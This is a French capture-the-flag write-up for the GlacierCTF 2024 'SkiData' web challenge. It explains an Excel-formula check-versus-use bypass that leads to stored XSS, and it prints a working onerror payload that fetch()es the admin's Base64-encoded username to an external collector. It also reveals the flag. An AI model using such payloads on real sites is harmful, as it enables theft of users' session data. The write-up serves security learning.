Aller au contenu
  1. Writeups/

GlacierCTF 2024: SkiData

1054 mots·5 mins·
Fayred
Auteur
Fayred
Passionné par l’informatique en général et plus particulièrement par la sécurité informatique. Amateur de CTFs et débutant en Bug Bounty, je cherche avant tout à apprendre, m’amuser et partager ce que j’ai appris.
Sommaire

Énoncé
#

The owner of the SkiData Platform has challenged you to find out his name! He told you, he has really good opsec, can you prove him wrong?

Author: h4ckd0tm3

https://skidata.web.glacierctf.com

Aperçu
#

SkiData permet de créer un compte, puis d’importer les résultats d’une course au format Excel. La route /my_races accepte également un titre et une description, et liste les courses déjà envoyées. Une course peut ensuite être consultée ou signalée à l’administrateur.

Les routes accessibles après connexion sont:

  • /my_races
  • /race/<int:race_id>
  • /race/<int:race_id>/report
  • /logout

Le flag est le nom d’utilisateur de l’administrateur. Celui-ci est utilisé par le bot lorsqu’il se connecte pour examiner une course signalée.

Afficher l'arborescence
.
├── adj.txt
├── app.py
├── bot.py
├── deploy.sh
├── docker-compose.yml
├── Dockerfile
├── Dockerfile.bot
├── flag.txt
├── instance
│   └── ski_race.db
├── noun.txt
├── requirements.txt
├── sha256sum
├── ski_race_example.xlsx
├── static
│   ├── logo.png
│   ├── rank-1.png
│   ├── rank-2.png
│   ├── rank-3.png
│   └── snow.js
└── templates
    ├── index.html
    ├── layout.html
    ├── login.html
    ├── my_races.html
    ├── nav.html
    ├── race_detail.html
    └── register.html

4 directories, 25 files

La configuration confirme que le nom d’utilisateur contient le flag:

environment:
  - ADMIN_USER=gctf{FAKE_FAKE_FAKE}
  - ADMIN_PASSWORD=.FakePW69!
  - WEB_URL=http://skidata-web:5000
  - REDIS_HOST=skidata-redis

Lorsqu’une course est signalée, l’application place une visite dans la file:

@app.route('/race/<int:race_id>/report')
@login_required
def race_report(race_id):
    user = current_user
    race = Race.query.get_or_404(race_id)

    if race.user_id == user.id or user.is_admin:

        q.enqueue(visit, url_for('race_detail', race_id=race_id),
                  os.environ.get("ADMIN_USER", "FAKEUSER"),
                  os.environ.get("ADMIN_PASSWORD", "FAKEPW"),
                  os.environ.get("WEB_URL", "localhost"))
        flash('The Admin has been notified!')
        return redirect(url_for("my_races"))

    flash('Not your race!')
    return redirect(url_for("my_races"))

Le bot se connecte avec ces identifiants, ouvre la course pendant quatre secondes, puis ferme son navigateur:

import os
import sys
from time import sleep

from playwright.sync_api import sync_playwright

def visit(race, user, password, url):
    print("Checking Race", race, file=sys.stderr)

    with sync_playwright() as p:
        browser = p.chromium.launch(
            headless=True,
            args=[
                "--disable-dev-shm-usage",
                "--disable-extensions",
                "--disable-gpu",
                "--no-sandbox",
                "--headless"
            ])

        context = browser.new_context()
        page = context.new_page()
        page.goto(f"{url}/login")
        page.get_by_label("Username").fill(user)
        page.get_by_label("Password").fill(password)
        page.get_by_role("button", name="Login").click()
        page.goto(f"{url}{race}")

        sleep(4)

        context.close()
        browser.close()

Résolution
#

Analyse du rendu
#

Le fichier ski_race_example.xlsx montre le format attendu:

Name Time Rank Country
ProjectSekai 6:4:71 1 INT
organizers 5:9:73 2 CHE
r3kapig 5:4:72 3 CHN
TUDelftCTFTeam 4:9:74 4 NLD
thehackerscrew 4:9:74 5 ATA
CyKOR 4:9:57 6 KOR
KITCTF 4:6:40 7 DEU
RedHazzarTeam 4:5:38 8 RUS
noreply 4:5:32 9 DZA
LiteChicken 3:7:93 10 RUS

Constat. Après l’import, /race/<int:race_id> affiche chaque cellule du tableur. Les champs ordinaires sont échappés par Jinja, mais les trois premières valeurs de rank suivent un chemin différent.

Afficher le code source
{% extends "layout.html" %}
{% block content %}
    <div class="container mt-5">
        <h2>{{ race.race_name }}</h2>
        <!-- Display the race comment if it exists -->
        {% if race.comment %}
            <p class="text-muted"><em>{{ race.comment }}</em></p>
        {% endif %}
        <!-- Race Results Table -->
        <div class="mt-4">
            <h4>Race Results</h4>
            <table class="table table-bordered table-striped mt-3">
                <thead>
                <tr>
                    <th>Name</th><th>Time</th><th>Rank</th><th>Country</th>
                </tr>
                </thead>
                <tbody>
                {% for result in race.results %}
                    <tr>
                        <td>{{ result.name }}</td><td>{{ result.time }}</td>
                        {% if loop.index <= 3 %}
                            <td><img {{ style(result.rank)|xmlattr }}  alt="rank-img"/></td>
                        {% else %}
                            <td>{{ result.rank }}</td>
                        {% endif %}
                        <td>{{ result.country }}</td>
                    </tr>
                {% else %}
                    <tr>
                        <td colspan="4" class="text-center">No race results available</td>
                    </tr>
                {% endfor %}
                </tbody>
            </table>
        </div>
        <a href="{{ url_for('my_races') }}" class="btn btn-secondary mt-3">Back to My Races</a>
        <a href="{{ url_for('race_report', race_id=race.id)}}" class="btn btn-primary mt-3">Report to Admin</a>
    </div>
{% endblock %}

Faiblesse. Pour ces trois lignes, rank est interpolé dans les clés du dictionnaire passé à xmlattr, alors que ces noms d’attributs devraient être entièrement maîtrisés par l’application:

def style(rank):
    return {f"rank-{rank}": "1", "src": f"/static/rank-{rank}.png", "width": "25px", "height": "25px"}

app.jinja_env.globals.update(style=style)

Une valeur spécialement construite peut donc altérer les attributs de la balise <img>. Il faut toutefois la placer dans l’une des trois premières lignes, puisque les rangs suivants sont rendus comme du texte.

Transition. Une injection directe échoue: à l’import, l’application exige que la cellule C évaluée soit un entier.

Contournement de la validation Excel
#

Le traitement d’une ligne évalue deux fois la cellule du rang:

excel = ExcelCompiler(filepath)
race_results = []
for row in range(2, 12):
    try:
        # [...]
        if type(excel.evaluate(f'Sheet1!C{row}')) is not int:
            flash(f"Sheet1!C{row}, Rank must be an integer")
            return redirect(request.url)

        excel.evaluate(f'Sheet1!E{row}')
        excel.set_value(f'Sheet1!E{row}', "Imported")

        name = excel.evaluate(f'Sheet1!A{row}')
        time = excel.evaluate(f'Sheet1!B{row}')
        rank = excel.evaluate(f'Sheet1!C{row}')
        country = excel.evaluate(f'Sheet1!D{row}')

        race_results.append({
            'name': name,
            'time': time,
            'rank': rank,
            'country': country
        })
    except Exception as e:
        flash(f"Error processing row {row}: {str(e)}")
        break

Constat. Entre ces deux évaluations, l’application écrit Imported dans la cellule E de la même ligne.

Faiblesse. Le type contrôlé n’est pas nécessairement celui qui sera ensuite stocké. Une formule conditionnelle dans C2 peut renvoyer 1 pendant le contrôle, puis une chaîne après la modification de E2: c’est un décalage entre la vérification et l’utilisation.

Action. On prépare le fichier dans Excel — la version en ligne de OneDrive convient également — et on place cette formule dans C2:

=IF(Sheet1!E2="Imported", "xss", 1)
Résultat de la formule conditionnelle simple dans le classement
Après la modification de la cellule E2, la formule simple produit la valeur rank-xss.

La fonction IF() choisit la valeur selon le contenu de E2.

Résultat. La première évaluation renvoie l’entier 1; après l’écriture de Imported, la seconde renvoie xss. Le contrôle de type est donc passé, mais la base reçoit une chaîne contrôlée.

XSS et exploitation
#

Constat. Une valeur de rang invalide produit aussi un chemin d’image inexistant, ce qui déclenche l’événement error de la balise <img>.

Action. On remplace la démonstration xss par une valeur qui injecte un gestionnaire onerror. Le JavaScript lit le texte de span.navbar-text, l’encode en Base64 et l’envoie vers le serveur de collecte:

=IF(Sheet1!E2="Imported", "x"&CHAR(34)&"/onerror=fetch('https://2wzdg74vnozmon6zh1ip7rptuk0bo1cq.oastify.com/?flag='.concat(btoa(document.querySelector('span.navbar-text').textContent)))", 1)

Ici, CHAR(34) produit le guillemet double nécessaire à la sortie de l’attribut sans l’écrire directement dans la chaîne Excel.

Payload XSS final injecté depuis le classeur
La formule injecte un gestionnaire onerror qui lit le DOM et exfiltre le nom d’utilisateur.

On importe le classeur, ouvre la course pour vérifier son rendu, puis utilise Report to Admin. Le bot s’authentifie avec ADMIN_USER avant d’afficher exactement cette page.

Résultat. Dans le navigateur du bot, l’échec de chargement de l’image déclenche la requête fetch. La valeur Base64 reçue sur le serveur de collecte se décode en nom d’utilisateur de l’administrateur, donc en flag.

Nom d'utilisateur de l'administrateur reçu par le serveur de collecte
Le bot exfiltre le pseudonyme de l’administrateur, qui correspond au flag.

Le flag est gctf{ex3c3lsi0r_l4zy_m4st3r}.

Conclusion
#

La faille combine deux frontières de confiance mal définies: une valeur Excel change entre son contrôle et son stockage, puis cette valeur devient un nom d’attribut HTML. Signaler la course suffit ensuite à exécuter la XSS dans la session de l’administrateur.

Références
#

Articles connexes